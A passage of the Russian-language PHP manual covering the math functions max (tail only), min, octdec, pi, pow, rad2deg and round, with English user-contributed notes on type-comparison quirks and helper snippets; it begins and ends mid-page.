$val = max('string', array(2, 5, 7), 42); // array(2, 5, 7)

// Если один из аргументов NULL или булево значение, то сравнение с другими
// значениями будет происходить по правилу FALSE < TRUE, вне зависимости от того
// какого типа параметры переданы.
// В примере ниже, -10 трактуется как TRUE
$val = max(-10, FALSE); // -10

// 0 всегда трактуется как FALSE, значит он "меньше чем" TRUE
$val = max(0, TRUE); // TRUE
?>

Смотрите также

  • min() - Находит наименьшее значение
  • count() - Подсчитывает количество элементов массива или Countable объекте

User Contributed Notes

Samu 12-Oct-2023 07:28
With modern PHP versions supporting the array spread operator for function arguments, it's tempting to call max() like this:

<?php
function stuff(): iterable {
    // This function might yield 0, 1 or n values.
}

$foo = max(...stuff());
?>

However, this is dangerous if you cannot guarantee that your generator yields **minimum** two values.

The gotcha here is that when max() receives a single argument, it must be an array of values. (When the generator doesn't yield any values, max() will throw an ArgumentCountError.)

If you can guarantee that your generator yields at least one value, then it's safe to call max by relying on the aforementioned array expectation:

<?php
function stuff(): iterable {
    // This function will yield 1...n values.
}

// Note that here the generator is first read into an array.
$foo = max([...stuff()]);
?>

If the array is empty, max() will throw a ValueError.

The added burden is that faulty code could appear to appear to function just fine but fails at random, probably causing a lot of head-scratching at first.
deoomen 22-Jun-2022 10:57
Watch out after PHP 8.0!

Sample code:

<?php
echo max(0,'hello');
?>

Before PHP 8.0 will return int(0) but since PHP 8.0 above code returns string("hello")!!
chris at candm dt org dt uk 03-Jul-2021 03:36
A function to return the key of the max value of an array. For multiple max values, it will return the key of first. Change > to >= to get the last.

function array_max_key($arr) {
    $maxkey='';
    $maxval=false;
    array_walk($arr,
        function (&$cval,&$ckey) use(&$maxkey,&$maxval) {
            if ($maxval === false || $cval > $maxval) {
                $maxval = $cval;
                $maxkey = $ckey;
            }
        }
    );
    return $maxkey;
}
blackmac01 at gmail dot com 07-Oct-2019 08:01
In response to: keith at bifugi dot com

If you want to find the specific key(s) that match the maximum value in an array where the values may be duplicated, you can loop through and perform a simple check:
<?php

# Example Array
$a = array(
     'key1' => 100,
     'key2' => 90,
     'key3' => 100,
     'key4' => 90,
);

# First get the maximum value
$max = max($a);

# Create a new array containing all keys which have the max value
foreach($a as $key => $val) {
     if($val === $max) $b[] = $key;
}

# If you want a string list, just do this
$b = implode(' ', $b);
?>

This produces consistent results and will scale well in terms of performance, whereas functions like array_search and array_flip can lead to degraded performance when dealing with large amounts of data.
Michael Blinn 07-Mar-2019 03:29
Be careful using max() with objects, as it returns a reference not a new object.

<?php

$min_date = date_create('2019-03-05');
$max_date = date_create('2019-03-06');

$date_by_reference = max($min_date, $max_date);

// $date_by_reference and $max_date are now the same object

echo '$max_date is ' . date_format($max_date, 'Y-m-d') . PHP_EOL; // '2019-03-06'
echo '$date_by_reference is ' . date_format($date_by_reference, 'Y-m-d') . PHP_EOL; // '2019-03-06'

date_add($date_by_reference, date_interval_create_from_date_string('1 days')); // Add 1 day to $date_by_reference, changes $max_date too

echo '$max_date is changed ' . date_format($max_date, 'Y-m-d') . PHP_EOL; // '2019-03-07'
echo '$date_by_reference is changed ' . date_format($date_by_reference, 'Y-m-d') . PHP_EOL; // '2019-03-07'

?>
info at osworx dot net 18-Jan-2019 10:37
Be aware if a array like this is used (e.g. values from a shopping cart):
<?php
Array
(
    [0] => 142,80
    [1] => 39,27
    [2] => 22,80
    [3] => 175,80
)?>
The result will be: 39,27 and not - as expected - 175,80

So, to find the max value, use integer only like:
<?php
Array
(
    [0] => 14280
    [1] => 3927
    [2] => 2280
    [3] => 17580
)?>
and you will get the correct result: 17580
keith at bifugi dot com 11-Jul-2016 04:36
The simplest way to get around the fact that max() won't give the key is array_search:

<?php
$student_grades = array ("john" => 100, "sarah" => 90, "anne" => 100);
$top_student = array_search(max($student_grades),$student_grades); // john
?>

This could also be done with array_flip, though overwriting will mean that it gets the last max value rather than the first:

<?php
$grades_index = array_flip($student_grades);
$top_student = $grades_index[max($student_grades)]; // anne
?>

To get all the max value keys:

<?php
$top_students = array_keys($student_grades,max($student_grades)); // john, anne
?>
ReVo_ 12-Jun-2014 03:28
Sometimes you could need to get the max from an array which looks like this:

<?php
$arrTest = array(
    array( "day" => 1, "b" => 10 ),
    array( "day" => 2, "b" => 43 ),
    array( "day" => 3, "b" => 2 ),
    array( "day" => 4, "b" => -3 ),
    array( "day" => 5, "b" => 4 ),
    array( "day" => 6, "b" => -5 )
);
?>
all max functions i see around don't provide a way to get the max value of the values in (example) key "b"

<?php
function maxValueInArray($array, $keyToSearch)
{
    $currentMax = NULL;
    foreach($array as $arr)
    {
        foreach($arr as $key => $value)
        {
            if ($key == $keyToSearch && ($value >= $currentMax))
            {
                $currentMax = $value;
            }
        }
    }

    return $currentMax;
}

//                                            array       key
$value = maxValueInArray($arrTest, "b");

?>

output: 43
volch5 at gmail dot com 07-May-2014 04:07
max() (and min()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
levim at php dot net 22-Aug-2012 05:18
<?php
/**
 * @param array $array
 *
 * @return int|null Returns the largest value of the array. Returns NULL if no
 *     integers are found.
 */
function array_max_recursive(array $array) {
    $max = NULL;
    $stack = array($array);

    do {
        $current = array_pop($stack );
        foreach ($current as $value) {
            if (is_array($value)) {
                $stack[] = $value;
            } elseif (filter_var($value, FILTER_VALIDATE_INT) !== FALSE) {
                // max(NULL, 0) returns NULL, so cast it
                $max = (int) max($max, $value);
            }
        }

    } while (!empty($stack));

    return $max;
}
?>

 - This function is not actually recursive, but fulfills the requirement that it works on sub-arrays.  I do this because PHP is not very good at recursion.  I also did it because I enjoy doing things this way.
 - It returns something of type int, never a string representation of an int. The exception is when you provide an array that does not contain any integers.  It will then return NULL.
 - It ignores non-array, non-int values.
toon dot baeyens at gmail dot com 07-May-2012 06:42
A little function for multi-dimensional arrays:
<?php
function amax($array){
    if(is_array($array)){
        foreach($array as $key => $value){
            $array[$key] = amax($value);
        }
        return max($array);
    }else{
        return $array;
    }
}
?>
costinu 02-Feb-2012 06:21
max(null, 0) = null
max(0, null) = 0
sun at drupal dot org 03-Aug-2011 11:25
Note that max() throws a warning if the array is empty:

<?php
$a = array();
max($a);
// Warning: max(): Array must contain at least one element
?>

So make sure your data isn't empty.
php at rijkvanwel dot nl 12-Apr-2011 02:08
To get the largest key in an array:

<?php
$array = array( 0 => 'first', 1=> 'second', /* ... */ 99 => 'nth' );
$max_key = max( array_keys( $array ) ); // 99
?>
Alex Rath 10-Apr-2010 11:27
Notice that whenever there is a Number in front of the String, it will be used for Comparison.

<?php

  max('7iuwmssuxue', 1); //returns 7iuwmssuxu
  max('-7suidha', -4); //returns -4

?>

But just if it is in front of the String

<?php

  max('sdihatewin7wduiw', 3); //returns 3

?>
marcini 11-May-2009 07:34
Note that max() can compare dates, so if you write something like this:

<?php
$dates = array('2009-02-15', '2009-03-15');
echo max($dates);
?>

you will get: 2009-03-15.
ries at vantwisk dot nl 09-Nov-2008 06:36
I had several occasions that using max is a lot slower then using a if/then/else construct. Be sure to check this in your routines!

Ries
harmor 21-Feb-2008 09:56
A way to bound a integer between two values is:

<?php
function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}
?>

which is the same as:

<?php
$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;
?>

So if you wanted to bound an integer between 1 and 12 for example:

Input:
<?php
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';
?>

Output:
1
1
6
12
12
michaelangel0 at mail.com 04-Jul-2007 03:00
Matlab users and others may feel lonely without the double argument output from min and max functions.

To have the INDEX of the highest value in an array, as well as the value itself, use the following, or a derivative:

<?php
function doublemax($mylist){
  $maxvalue=max($mylist);
  while(list($key,$value)=each($mylist)){
    if($value==$maxvalue)$maxindex=$key;
  }
  return array("m"=>$maxvalue,"i"=>$maxindex);
}
?>
johnphayes at gmail dot com 02-May-2006 09:27
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true


Находит наименьшее значение

  • « max
  • octdec »
  • PHP Manual
  • Математические функции
  • Находит наименьшее значение

min

(PHP 4, PHP 5, PHP 7, PHP 8)

min — Находит наименьшее значение

Описание

min(mixed $value, mixed ...$values): mixed

Альтернативная сигнатура (не поддерживается с именованными аргументами):

min(array $value_array): mixed

Если первый и единственный параметр — массив, то функция min() возвратит наименьшее значение из этого массива. Если переданы хотя бы два параметра, функция min() вернёт наименьший из них.

Замечание:

Значения разных типов будут сравниваться в соответствии со стандартными правилами сравнения. К примеру, нечисловая строка (string) будет сравниваться с целым числом (int) так, как будто это 0, а множество нечисловых строк (string) будут сравниваться алфавитно-цифровым порядком. Выбранное значение будет возвращено без конвертации типа.

Предостережение

Соблюдают осторожность при передаче аргументов разных типов, поскольку результат функции min() может оказаться непредсказуемым.

Список параметров

value

Любое поддающееся сравнению значение.

values

Любые поддающиеся сравнению значения.

value_array

Массив содержащий значения.

Возвращаемые значения

Функция min() вернёт значение «наименьшего» из элементов массива, в соответствии со стандартными правилами сравнения. Если несколько разнотипных значений посчитаются идентичными (например 0 и 'abc'), функция вернёт первое из них.

Ошибки

Если передан пустой массив, функция min() выбрасывает ошибку ValueError.

Список изменений

Версия | Описание
8.0.0 | Функция min() в случае возникновения ошибки теперь вызывает ошибку ValueError; ранее возвращалось значение false и выдавалась ошибка уровня E_WARNING.
8.0.0 | Поскольку сравнение строк с числами было изменено, функция min() больше не возвращает другое значение в зависимости от порядка аргументов для таких случаев.

Примеры

Пример #1 Пример использования min()

<?php
echo min(2, 3, 1, 6, 7); // 1
echo min(array(2, 4, 5)); // 2

// Здесь сравниваются -1 < 0, так что -1 меньше
echo min('hello', -1); // -1

// При сравнении массивов, разной длины — min вернёт самый короткий
$val = max(array(2, 2, 2), array(1, 1, 1, 1)); // array(2, 2, 2)

// При указании нескольких массивов, они сравниваются полностью
// в нашем примере: 2 == 2, но 4 < 5
$val = min(array(2, 4, 8), array(2, 5, 1)); // array(2, 4, 8)

// При указании массива и не массива,
// первый никогда не возвращается, т.к. считается самым большим
$val = min('string', array(2, 5, 7), 42); // string

// Если один из аргументов NULL или будево значение, то сравнение с другими
// значениями будет происходить по правилу FALSE < TRUE и NULL == FALSE, вне
// зависимости от того какого типа параметры переданы.
// В примере ниже, -10 трактуется как TRUE
$val = min(-10, FALSE, 10); // FALSE
$val = min(-10, NULL, 10); // NULL

// 0 всегда трактуется как FALSE, значит он "меньше чем" TRUE
$val = min(0, TRUE); // 0
?>

Смотрите также

  • max() - Возвращает наибольшее значение
  • count() - Подсчитывает количество элементов массива или Countable объекте

User Contributed Notes

8ilO 19-Apr-2017 03:21
A min_by function:
<?php
function min_by(Array $arr, Callable $func){
    $mapped = array_map($func, $arr);
    return $arr[array_search(min($mapped), $mapped)];
}
$a = ["albatross",  "dog",  "horse"];
echo min_by($a, "strlen"); // dog
?>
volch5 at gmail dot com 07-May-2014 04:10
min() (and max()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
Teelevision 13-Oct-2013 04:09
A function that returns the lowest integer that is not 0.
<?php
/* like min(), but casts to int and ignores 0 */
function min_not_null(Array $values) {
    return min(array_diff(array_map('intval', $values), array(0)));
}
?>
hava82 at gmail dot com 26-Sep-2011 12:35
Here is function can find min by array key

<?php
function min_by_key($arr, $key){
    $min = array();
    foreach ($arr as $val) {
        if (!isset($val[$key]) and is_array($val)) {
            $min2 = min_by_key($val, $key);
            $min[$min2] = 1;
        } elseif (!isset($val[$key]) and !is_array($val)) {
            return false;
        } elseif (isset($val[$key])) {
            $min[$val[$key]] = 1;
        }
    }
    return min( array_keys($min) );
}
?>
php at keith tyler dot com 23-Nov-2010 01:03
If NAN is the first argument to min(), the second argument will always be returned.

If NAN is the second argument, NAN will always be returned.

The relationship is the same but inverted for max().

<?php
// \n's skipped for brevity
print max(0,NAN);
print max(NAN,0);
print min(0,NAN);
print min(NAN,0);
?>

Returns:
0
NAN
NAN
0
matt at borjawebs dot com 13-Nov-2010 01:18
A condensed version (and possible application) of returning an array of array keys containing the same minimum value:

<?php
// data
$min_keys = array();
$player_score_totals = array(
'player1' => 300,
'player2' => 301,
'player3' => 302,
'player4' => 301,
...
);

// search for array keys with min() value
foreach($player_score_totals as $playerid => $score)
    if($score == min($player_score_totals)) array_push($min_keys, $playerid);

print_r($min_keys);
?>
Err 05-Oct-2009 04:32
When using a variable with an array that has a list of numbers, put just the variable in min(). Don't use integer index's. Seems pretty straight forward now, but I wasn't used to just putting down the variable for an array in functions.

<?php
  $list = array(9,5,4,6,2,7);
  echo min($list); // display 2
?>
DO 03-Jul-2008 03:23
I've modified the bugfree min-version to ignore NULL values (else it returns 0).

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args[0])) return false;
  else {
    $min = false;
    foreach ($args[0] AS $value) {
      if (is_numeric($value)) {
        $curval = floatval($value);
        if ($curval < $min || $min === false) $min = $curval;
      }
    }
  }

  return $min;
}
?>
harmor 21-Feb-2008 09:58
A way to bound a integer between two values is:

function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}

which is the same as:

$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;

So if you wanted to bound an integer between 1 and 12 for example:

Input:
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';

Output:
1
1
6
12
12
piotr_sobolewski at o2 dot nospampleasenono dot pl 07-Nov-2007 08:11
Be very careful when your array contains both strings and numbers. This code works strange (even though explainable) way:
var_dump(max('25.1.1', '222', '99'));
var_dump(max('2.1.1', '222', '99'));
dave at dtracorp dot com 13-Aug-2006 08:30
empty strings '' will also return false or 0, so if you have something like

$test = array('', 1, 5, 8, 44, 22);

'' will be returned as the lowest value

if you only want to get the lowest number, you'll have to resort to the old fashioned loop

// default minimum value
$minVal = 100;
foreach ($test as $value) {
if (is_numeric($value) && $value < $minVal) {
$minVal = $value;
}
johnphayes at gmail dot com 02-May-2006 09:26
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
steffen at morkland dot com 16-Mar-2006 02:16
> NEVER EVER use this function with boolean variables !!!
> Or you'll get something like this: min(true, 1, -2) == true;

> Just because of:
> min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

It is possible to use it with booleans, there is is just one thing, which you need to keep in mind, when evaluating using the non strict comparison (==) anyting that is not bool false, 0 or NULL is consideret true eg.:
(5 == true) = true;
(0 == true) = false;
true is also actually anything else then 0, false and null. However when true is converted to a string or interger true == 1, therefore when sorting true = 1. But if true is the maximum number bool true is returned. so to be sure, if you only want to match if true is the max number remember to use the strict comparison operater ===
31-Jan-2006 09:37
NEVER EVER use this function with boolean variables !!!
Or you'll get something like this: min(true, 1, -2) == true;

Just because of:
min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

You are warned !
alx5000 at walla dot com 12-Jan-2005 05:16
If you want min to return zero (0) when comparing to a string, try this:

<?php
min(3,4,";");  // ";"
min(0,min(3,4,";")) // 0
?>
nonick AT 8027 DOT org 24-Jan-2004 07:43
I tested this with max(), but I suppose it applies to min() too: If you are working with numbers, then you can use:

    $a = ($b < $c) ? $b : $c;

 which is somewhat faster (roughly 16%) than

    $a = min($b, $c);

 I tested this on several loops using integers and floats, over 1 million iterations.

 I'm running PHP 4.3.1 as a module for Apache 1.3.27.
browne at bee why you dot ee dee you 16-Dec-2003 02:30
min() can be used to cap values at a specific value. For instance, if you're grading papers and someone has some extra credit, but  that shouldn't make it to the final score:

$pts_possible = 50;
$score = 55;

// Percent will equal 1 if $score/$pts_possible is greater than 1
$percent = min($score/$pts_possible,1);


Переводит число из восьмеричной системы счисления в десятичную

  • « min
  • pi »
  • PHP Manual
  • Математические функции
  • Переводит число из восьмеричной системы счисления в десятичную

octdec

(PHP 4, PHP 5, PHP 7, PHP 8)

octdec — Переводит число из восьмеричной системы счисления в десятичную

Описание

octdec(string $octal_string): int|float

Возвращает десятичный эквивалент восьмеричного числа, указанного в аргументе octal_string.

Список параметров

octal_string

Восьмеричная строка для преобразования. Любые некорректные символы в octal_string игнорируются. Начиная с PHP 7.4.0, предоставление любых некорректных символов устарело.

Возвращаемые значения

Десятичное представление octal_string

Список изменений

Версия | Описание
7.4.0 | Передача некорректных символов будет выдавать уведомление об устаревании. Результат будет вычислен так, как если бы некорректные символы не существовали.

Примеры

Пример #1 Пример использования octdec()

<?php
echo octdec('77') . "\n";
echo octdec(decoct(45));
?>

Результат выполнения данного примера:

63
45

Примечания

Замечание:

Эта функция может конвертировать числа, которые слишком большие для типа int на текущей платформе. В этом случае большие значения возвращаются как float.

Смотрите также

  • decoct() - Переводит число из десятичной системы счисления в восьмеричную
  • bindec() - Двоичное в десятичное
  • hexdec() - Переводит число из шестнадцатеричной системы счисления в десятичную
  • base_convert() - Преобразование числа между произвольными системами счисления

User Contributed Notes

contato at andersonfraga dot net 18-Aug-2008 01:30
Number is octal?

Simple and easy:

<?php

function is_octal($x) {
    return decoct(octdec($x)) == $x;
}

echo is_octal(077); // true
echo is_octal(195); // false

?>

Thanks
[]'s
harry at disgruntledgoat dot com 27-Mar-2007 03:03
Calling the sticky bit "text" is not erroneous: On UNIX back in 1974, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This speeded subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory.
11-Sep-2002 01:51
The 'S' flag for Unix file access rights is badly computed in the above sample.
If the corresponding 'x' bit (exec) is not set, and the 's' bit (setgid/setuid/sticky) is set, then the flag should not be displayed as and uppercase 'S', but as a lower case 's'. Also the sticky bit (mainly used for folders with public right access rights such as /tmp to protect against deletion by non owner) is badly named ("text"?).


Возвращает число Пи

  • « octdec
  • pow »
  • PHP Manual
  • Математические функции
  • Возвращает число Пи

pi

(PHP 4, PHP 5, PHP 7, PHP 8)

pi — Возвращает число Пи

Описание

pi(): float

Возвращает приближённое значение числа Пи. Константа M_PI даёт идентичный результат.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Приближенное значение числа Пи в виде числа с плавающей точкой (float).

Примеры

Пример #1 Пример использования pi()

<?php
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
?>

User Contributed Notes

davidduke at hotmail dot com 27-Mar-2004 06:18
Pi is often usefull in con/sin/tan functions..
There are also other Pi related constants.
These are most of them:

M_PI  = 3.14159265358979323846 // pi

// The following were added in PHP 4.0.0
M_PI_2 = 1.57079632679489661923 // pi/2
M_PI_4 = 0.78539816339744830962 // pi/4
M_1_PI = 0.31830988618379067154 // 1/pi
M_2_PI = 0.63661977236758134308 // 2/pi
M_SQRTPI = 1.77245385090551602729 // sqrt(pi) (Only in PHP 4.0.2+)
M_2_SQRTPI = 1.12837916709551257390 // 2/sqrt(pi)


Возведение в степень

  • « pi
  • rad2deg »
  • PHP Manual
  • Математические функции
  • Возведение в степень

pow

(PHP 4, PHP 5, PHP 7, PHP 8)

pow — Возведение в степень

Описание

pow(mixed $num, mixed $exponent): int|float|object

Возвращает num, возведённое в степень exponent.

Замечание:

Вместо функции можно использовать оператор **.

Список параметров

num

Основание

exponent

Показатель степени

Возвращаемые значения

Основание num возведённое в степень exponent. Если оба аргумента - неотрицательные целые и результат может быть представлен как целое, то возвращаемый результат будет типа int. В ином случае результат будет типа float.

Примеры

Пример #1 Примеры использования pow()

<?php

var_dump(pow(2, 8)); // int(256)
echo pow(-1, 20); // 1
echo pow(0, 0); // 1
echo pow(10, -1); // 0.1

echo pow(-1, 5.5); // NAN
?>

Примечания

Замечание:

Функция преобразует все входные значения, даже нескалярные, к числовым, что может привести к странным результатам.

Смотрите также

  • exp() - Вычисляет степень числа e
  • sqrt() - Извлекает квадратный корень
  • bcpow() - Возведение в степень чисел с произвольной точностью
  • gmp_pow() - Возводит число в степень

User Contributed Notes

Roman 15-Dec-2020 04:15
If you use negative numbers, you need to use brackets for using with **

<?php

-1 ** 2; // -1

(-1) ** 2; // 1

?>
jaxx1rr at gmail dot com 29-Sep-2019 02:25
funny thing

number_format(pow(2, 1023));
gives a long number

but number_format(pow(2, 1024));
gives inf
raiika 03-Oct-2018 05:28
It is official now that you could use

<?php

2 ** 3; // 8

// instead of

pow(2, 3); // 8

?>
scott at arciszewski dot me 14-Feb-2014 03:24
As of PHP 5.6.0alpha2, there is now an exponentiation operator. If this is kept in the final release, it may be worth noting here.

<?php
// These two will be equivalent as of PHP 5.6.0
$x = $y ** 2;
$x = pow($y, 2);
?>
chris at ocportal dot com 21-May-2012 04:05
Many notations use "^" as a power operator, but in PHP (and other C-based languages) that is actually the XOR operator. You need to use this 'pow' function, there is no power operator.

i.e. 3^2 means "3 XOR 2" not "3 squared".

It is particular confusing as when doing Pythagoras theorem in a 'closet points' algorithm using "^" you get results that look vaguely correct but with an error.
gilthansREMOVEME at gmail dot com 15-Dec-2006 07:50
Note that pow(0, 0) equals to 1 although mathematically this is undefined.


Преобразует значение из радианов в градусы

  • « pow
  • round »
  • PHP Manual
  • Математические функции
  • Преобразует значение из радианов в градусы

rad2deg

(PHP 4, PHP 5, PHP 7, PHP 8)

rad2deg — Преобразует значение из радианов в градусы

Описание

rad2deg(float $num): float

Функция преобразует значение num из радианов в градусы.

Список параметров

num

Значение в радианах

Возвращаемые значения

Эквивалент num в градусах

Примеры

Пример #1 Пример использования rad2deg()

<?php

echo rad2deg(M_PI_4); // 45

?>

Смотрите также

  • deg2rad() - Преобразует значение из градусов в радианы

User Contributed Notes

There are no user contributed notes for this page.


Округляет число типа float

  • « rad2deg
  • sin »
  • PHP Manual
  • Математические функции
  • Округляет число типа float

round

(PHP 4, PHP 5, PHP 7, PHP 8)

round — Округляет число типа float

Описание

round(int|float $num, int $precision = 0, int $mode = PHP_ROUND_HALF_UP): float

Возвращает округлённое значение num с указанной точностью precision (количество цифр после запятой). precision может быть отрицательным или нулём (по умолчанию).

Список параметров

num

Значение для округления.

precision

Количество десятичных знаков, до которых производится округление

Если precision положительный, num округляется до точности precision цифр после запятой.

Если precision отрицателен, num округляется до точности precision цифр перед десятичной запятой, то есть до ближайшего кратного pow(10, -$precision), например для precision равной -1 num округляется до десятков, для precision равной -2 до сотен и т.д.

mode

Используйте одну из этих констант для задания способа округления.

Константы | Описание
PHP_ROUND_HALF_UP | Округляет num от нуля, когда следующий знак находится посередине. То есть округляет 1.5 в 2 и -1.5 в -2.
PHP_ROUND_HALF_DOWN | Округляет num к нулю, когда следующий знак находится посередине. То есть округляет 1.5 в 1 и -1.5 в -1.
PHP_ROUND_HALF_EVEN | Округляет num до ближайшего чётного значения, когда следующий знак находится посередине. То есть округляет 1.5 и 2.5 в 2.
PHP_ROUND_HALF_ODD | Округляет num до ближайшего нечётного значения, когда следующий знак находится посередине. То есть округляет 1.5 в 1 и 2.5 в 3.

Возвращаемые значения

Значение округляется до заданного значения precision как float.

Список изменений

Версия | Описание
8.0.0 | num больше не принимает внутренние объекты, поддерживающие числовое преобразование.

Примеры

Пример #1 Пример использования round()

<?php
var_dump(round(3.4));
var_dump(round(3.5));
var_dump(round(3.6));
var_dump(round(3.6, 0));
var_dump(round(5.045, 2));
var_dump(round(5.055, 2));
var_dump(round(345, -2));
var_dump(round(345, -3));
var_dump(round(678, -2));
var_dump(round(678, -3));
?>

Результат выполнения данного примера:

float(3)
float(4)
float(4)
float(4)
float(5.05)
float(5.06)
float(300)
float(0)
float(700)
float(1000)

Пример #2 Как параметр precision влияет на числа с плавающей точкой

<?php
$number = 135.79;

var_dump(round($number, 3));
var_dump(round($number, 2));
var_dump(round($number, 1));
var_dump(round($number, 0));
var_dump(round($number, -1));
var_dump(round($number, -2));
var_dump(round($number, -3));
?>

Результат выполнения данного примера:

float(135.79)
float(135.79)
float(135.8)
float(136)
float(140)
float(100)
float(0)

Пример #3 Примеры использования параметра mode

<?php
echo 'Режимы округления с 9.5' . PHP_EOL;
var_dump(round(9.5, 0, PHP_ROUND_HALF_UP));
var_dump(round(9.5, 0, PHP_ROUND_HALF_DOWN));
var_dump(round(9.5, 0, PHP_ROUND_HALF_EVEN));
var_dump(round(9.5, 0, PHP_ROUND_HALF_ODD));

echo PHP_EOL;
echo 'Режимы округления с 8.5' . PHP_EOL;
var_dump(round(8.5, 0, PHP_ROUND_HALF_UP));
var_dump(round(8.5, 0, PHP_ROUND_HALF_DOWN));
var_dump(round(8.5, 0, PHP_ROUND_HALF_EVEN));
var_dump(round(8.5, 0, PHP_ROUND_HALF_ODD));
?>

Результат выполнения данного примера:

Режимы округления с 9.5
float(10)
float(9)
float(10)
float(9)

Режимы округления с 8.5
float(9)
float(8)
float(8)
float(9)

Пример #4 Примеры использования параметра mode с указанием точности precision

<?php
echo 'Использование PHP_ROUND_HALF_UP с точностью до 1 знака' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_UP));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_UP));

echo PHP_EOL;
echo 'Использование PHP_ROUND_HALF_DOWN с точностью до 1 знака' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_DOWN));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_DOWN));

echo PHP_EOL;
echo 'Использование PHP_ROUND_HALF_EVEN с точностью до 1 знака' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_EVEN));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_EVEN));

echo PHP_EOL;
echo 'Использование PHP_ROUND_HALF_ODD с точностью до 1 знака' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_ODD));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_ODD));
?>

Результат выполнения данного примера:

Использование PHP_ROUND_HALF_UP с точностью до 1 знака
float(1.6)
float(-1.6)

Использование PHP_ROUND_HALF_DOWN с точностью до 1 знака
float(1.5)
float(-1.5)

Использование PHP_ROUND_HALF_EVEN с точностью до 1 знака
float(1.6)
float(-1.6)

Использование PHP_ROUND_HALF_ODD с точностью до 1 знака
float(1.5)
float(-1.5)

Смотрите также

  • ceil() - Округляет дробь в большую сторону
  • floor() - Округляет дробь в меньшую сторону
  • number_format() - Форматирует число с разделением групп

User Contributed Notes

Astro 27-Feb-2020 08:32
Okay, final version of my function:

function NumberPrecision($n, $precision=0, $is_round=true)
            {
            if ($is_round)
                {
                $r = 5 * pow(10, -($precision+1));
                $n += (($n < 0) ? -$r : $r);
                }

            $comma = '.';

            $r = 5 * pow(10, -($precision+2));
            $n += (($n > 0) ? -$r : $r);
            $n = number_format($n, $precision+1, $comma, '');

            $n .= $comma;
            list($n, $frac) = explode($comma, $n, 2);
            $n = rtrim(rtrim($n, $comma) . $comma . substr($frac, 0, $precision), $comma);
            return ($n);
            }

It can be useful in come cases when built-in function like round() or number_format() returns unexpected results. Works with positive and negative numbers, zero, numbers like 1/12, 0.3, numbers in scientific notation etc.
Hayley Watson 05-Sep-2019 12:17
It should just be noted that what is called "precision" on this page is more correctly called accuracy; precision is the total number of significant digits on both sides of the decimal point, while accuracy is the number of digits to the right of the point. It's a common confusion.
goreyshi at gmail dot com 10-Jul-2018 09:34
When you have a deal with money like dollars, you need to display it under this condition:
-format all number with two digit decimal for cents.
-divide 1000 by ,
-round half down for number with more than two decimal

I approach it using round function inside the number_format function:

number_format((float)round( 625.371 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 625.37
number_format((float)round( 625.379 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 625.38
number_format((float)round( 1211.20 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 1,211.20
number_format((float)round( 625 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')      // 625.00
Mojo urk 26-Jan-2018 07:28
Solving round_down() problem:
-----------------------------
